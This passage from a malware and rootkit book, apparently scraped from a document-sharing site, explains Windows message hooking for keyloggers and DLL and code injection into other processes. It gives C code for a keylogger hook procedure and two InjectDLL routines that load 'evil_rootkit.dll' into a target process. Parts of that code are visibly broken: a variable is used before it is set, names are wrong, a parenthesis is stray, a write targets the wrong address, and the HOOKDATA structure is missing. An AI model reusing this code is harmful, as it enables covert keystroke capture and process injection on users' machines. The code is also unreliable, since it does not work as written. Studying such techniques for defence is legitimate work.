• Aucun résultat trouvé

Windows Hooking

Dans le document Michael A. Davis (Page 119-125)

Within the Windows operating system, much of the communication for applications that have graphical interfaces happens through the use of messages. An application that is compiled to receive messages will create a message queue that the application will read new messages from when the operating system posts new messages. For example, within a Windows application, when you click an OK button with your left mouse button, a message namedWM_LBUTTONDOWN is sent into the application’s message queue. The application will then read the message, respond to the message by performing a set of actions, and then wait for the next message. Console applications (i.e., those that do not have a standard “Windows”

user interface) can also register to receive Windows messages, but traditional console applications do not handle or deal with Windows messages.

Message communication is important within Windows applications because Microsoft has created a method to intercept, or hook, these messages for all applications that a specific user runs. Although this is a Microsoft-supported interface and has many legitimate uses, it also has many questionable usages. Traditionally, these include keyloggers and dataloggers within spyware and malware applications. Because Microsoft supports this method, much documentation is available. As a matter of fact, the first article about message hooking in MSDN is dated 1993! Since this method is supported, it is very effective, simple, and, more importantly, reliable.

This approach has limitations, however. Traditional console applications that do not handle Windows messages cannot be hooked via this method. Furthermore, as mentioned before, the Windows hooks that are installed using this method will only hook processes that are running under the user context that installed the hook. This limitation may seem like a deal breaker but normally is not, as almost all applications a user executes run within the user’s context, including Internet Explorer and Windows Explorer, and therefore are not affected by this limitation.

As we mentioned, this method is very well documented so we will provide only a brief review of how it works. Essentially, a developer must create a DLL that has a function that will receive Windows messages. This function is then registered via the operating system by calling the SetWindowsHookEx() function.

Let’s look at some code. We have a DLL, named Hook.dll, that exports a function call, HookProcFunc. This function handles all of the intercepted Windows messages. Within our hooking installation application, we create the following:

bool InstallHook() {

HookProc HookProcFunc;

if (HookProcFunc = (HookProc) ::GetProcAddress (g_hHookDll,"HookProc")) {

if (g_hHook = SetWindowsHookEx(WH_CBT, HookProcFunc, g_hHookDll, 0)) return true;

}

return false;

}

Note that we did not include code to load the DLL, which would be accomplished by callingLoadLibrary(). Now that HookProc has been installed, the operating system will automatically inject the Hook.dll into each process executed by the user and ensure that the Windows messages are passed to the HookProcFunc()before the real application, such as Internet Explorer, receives them. The HookProcFunc is pretty simple:

LRESULT CALLBACK HookProcFunc(UINT message, WPARAM wParam, LPARAM lParam) {

if (message == HCBT_KEYSKIPPED && (lParam & 0x40000000)) { if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||

(wParam==VK_TAB)||(wParam>=0x2f ) &&(wParam<=0x100)) {

return CallNextHookEx( 0, message, wParam, lParam);

}

This hook function looks to see if it was passed a message of HCBT_KEYSKIPPED, which is sent whenever a keypress is removed from the system queue of keypresses, so it will be received whenever a key is pressed on a keyboard. The hook function then checks to make sure the key pressed is a valid key, and if it was the enter key, it enters a new line character in the log file; otherwise, it writes the character that maps to the keyboard.

Although this is a very simple example, this is really all that is required to write a Windows hook-based keylogger. Using this approach, you can also capture screenshots of the desktop every time a specific Windows message is received or even turn on audio recording. Some spyware and malware have been known to capture screenshots in the wild as they will capture not just the application that was hooked, but anything else on the screen.

The biggest drawback to this method is that it is easily detectable, and you can get samples of code in the wild that prevent your application from falling victim to this method.

There is another problem that occurs with most implementations of Windows hooks:

The hook never seems to “take effect.” Since the operating system takes the burden of ensuring a hook is placed into a process, it needs to safeguard the reliability of the operating system by making sure the OS will not crash when the hook is installed;

therefore, the hook is installed when the process receives a new message into its queue.

If no message is received before the UnhookWindowsHookEx() function (which unhooks the message queue) is called, the rootkit hook will never be installed. This happens more than you might think, especially if the rootkit is very specific about the type of processes it wants to hook, the duration the target processes execute, and the implementation of the hook. To prevent this problem from occurring, the application that sets the hook should also send a “test message” to the hook it’s looking for to ensure the DLL and the hook are properly installed in the process.

CreateRemoteThread with LoadLibrary()

When it comes to DLL injection, there are two common methods of injecting a DLL into a process within the various Windows operating systems. The first is the usage of the function,CreateRemoteThread, which starts a new thread in a specified process. Once this thread is loaded into the process, the thread executes code within a specific DLL that the rootkit author provides. This technique is simple and has been around for many years. Outside of the details we will provide here, there are thousands of examples on the Web, including some stable hooking engines that provide source code, so fire up Google to get your dose of CreateRemoteThread hooking. If that doesn’t work, our friends at Microsoft have published the thread function details within the MSDN at http://msdn.microsoft.com.

The argument for the CreateRemoteThread() contains the name for the DLL to inject, in this example, evil_rootkit.dll. In order to resolve the imports, the code executes theLoadLibrary() function (with the help of GetProcAddress()) when the thread is started in the remote process. As this code will be executing in a separate address space, we must modify the strings reference. This is accomplished by using the

VirtualAllocEx() function and writing the string to the new, usable address space.

By passing the pointer to RemoteString(), the code is able to load and we can close the handle.

#define DLL_NAME "evil_rootkit.dll"

BOOL InjectDLL(DWORD ProcessID) {

HANDLE Proc;

char buf[50]={0};

LPVOID RemoteString, LoadLibAddy;

if(!ProcessID) return FALSE;

Proc = OpenProcess(CREATE_THREAD_ACCESS, FALSE, ProcessID);

if(!Proc) {

sprintf(buf, "OpenProcess() failed: %d", GetLastError());

MessageBox(NULL, buf, "InjectDLL", NULL);

return FALSE;

}

LoadLibAddy = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");

RemoteString = (LPVOID)VirtualAllocEx(Proc, NULL, strlen(DLL_NAME),

MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);

WriteProcessMemory(Proc, (LPVOID)RemoteString, DLL_NAME,strlen(DLL_NAME), NULL);

CreateRemoteThread(Proc, NULL, NULL, (LPTHREAD_START_ROUTINE)LoadLibAddy, (LPVOID)RemoteString, NULL, NULL);

CloseHandle(Proc);

return true;

}

This code will create a new thread in the target process that was opened by OpenProcess(); that thread will then call LoadLibrary() and insert our evil_rootkit.

dll into the process. Once the DLL is loaded, the thread will exit and the process will now have our evil_rootkit.dll mapped into its process space.

This injection technique will not work when you are trying to inject a DLL from a 64-bit processes into 32-64-bit processes or vice versa due to the Windows-on-Windows for 64-bit (WoW64) kernel. Specifically, 64-bit processes require pointers that are 64-bits so the pointer we passed to CreateRemoteThread()forLoadLibrary() would need to

be a 64-bit pointer. Since our injection application is 32-bits, we cannot specify a 64-bit pointer. How do you get around this? Have two injection applications—one for 32-bits and one for 64-bits.

CreateRemoteThread with WriteProcessMemory()

The second way to inject a DLL into a process involves a little bit more stealth. Instead of having the operating system call LoadLibrary(), CreateRemoteThread() can execute your code. What you do is actually use WriteProcessMemory(), which is what we used to write the name of our DLL in the previous process, to write the entire set of functions into the process’s memory space and then have CreateRemoteThread() call the function just written into the process’s memory.

This approach has many obstacles, and we will work through each. First, let’s see what our process, which contains the example code we want in the target process, looks like in memory and what the target process’s memory will look like once we copy our data into the target process via WriteProcessMemory(). The code we will review for this section was written by the authors for the book.

As you can see in Figure 3-1, we must copy the data for our function into the target process. Also, any data such as configuration parameters, options, and so on, must be copied to the target as well because the NewFunc cannot access any data from the injection process once it is copied to the target process. What type of data would you copy to the target process for NewFunc? Well, one of the problems with using this method is that the code you copy to the target process cannot reference any external DLLs other than kernel32.dll, ntdll.dll, and user32.dll because they are the only DLLs guaranteed to be mapped and accessible at the same memory address for every process. User32.dll is not guaranteed to be mapped to the same address but usually is. Why Microsoft developers chose to always assign the same address is up for debate but many think it is related to performance or for backward-compatibility reasons. So if you want to access any DLL functions that may not be available in the target process, you must pass a pointer to the functions you want to use like LoadLibrary() and GetProcAddress().

Furthermore, since static strings are stored within a binary’s .data section, any static strings that are used within NewFunc will not be copied to the target process; therefore, all strings should also be passed into NewFunc by copying them to the target process using WriteProcessMemory(). Since there is so much data to copy, I recommend creating a structure that contains everything you need to pass so you can easily reference all the data, instead of having to constantly compute offsets and save the memory addresses of the locations where you copied the data. Here’s a structure named HOOKDATA:

Once the data you need to pass is defined, and the function you want to inject is defined, you need to copy the NewFunc, which is the function that will be executed when the thread starts in the target process. To copy data from one location to another, you need to know the size of the data. You can determine the size of NewFunc by either manually disassembling the code and adding up the bytes or using the following hack:

static DWORD WINAPI NewFunc(HOOKDATA *pHookData) {

// call LoadLibrary..

return pHookData->fnLoadLibrary(pData->lpszDLLName);

}

static void AfterNewFunc (void) {

}

The function, AfterNewFunc, will normally be placed directly after the NewFunc code when compiled so you can leverage the compiler and do simple math to return the size of NewFunc:

DWORD dwCodeSize = (PCHAR)AfterNewFunc - (PCHAR)NewFunc;

Now that you know the size of your code, you can copy it to the target process and create your thread!

BOOL InjectDLL(DWORD ProcessID) {

HANDLE Proc;

char buf[50]={0};

Figure 3-1 A structure to inject data into a new hooked process

HOOKDATA *pHookData;

BYTE *pNewFunc;

DWORD dwCodeSize = 0;

if(!ProcessID) return FALSE;

Proc = OpenProcess(CREATE_THREAD_ACCESS, FALSE, ProcessID);

if(!Proc) {

sprintf(buf, "OpenProcess() failed: %d", GetLastError());

MessageBox(NULL, buf, "InjectDLL", NULL);

return FALSE;

}

pHookData = (HOOKDATA *)VirtualAllocEx(Proc, NULL, sizeof(HOOKDATA), MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);

pHookData->fnLoadLibrary = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");

WriteProcessMemory(Proc, (LPVOID)pHookData->lpszDLLName, DLL_NAME, strlen(DLL_NAME), NULL);

pNewFunc = (BYTE *)VirtualAllocEx(Proc, NULL, dwCodeSize),

MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);

dwCodeSize = (PCHAR)AfterNewFunc - (PCHAR)NewFunc;

WriteProcessMemory(Proc, (LPVOID)NewFunc, NewFunc, dwCodeSize, NULL);

CreateRemoteThread(Proc, NULL, NULL, (LPTHREAD_START_ROUTINE)pNewFunc, (LPVOID)pHookData, NULL, NULL);

CloseHandle(Proc);

return true;

}

Now, the code is executing in the new process that executes a function that can load your evil DLL or perform other hooking activities that we’ll talk about later in this chapter.

Dans le document Michael A. Davis (Page 119-125)

Documents relatifs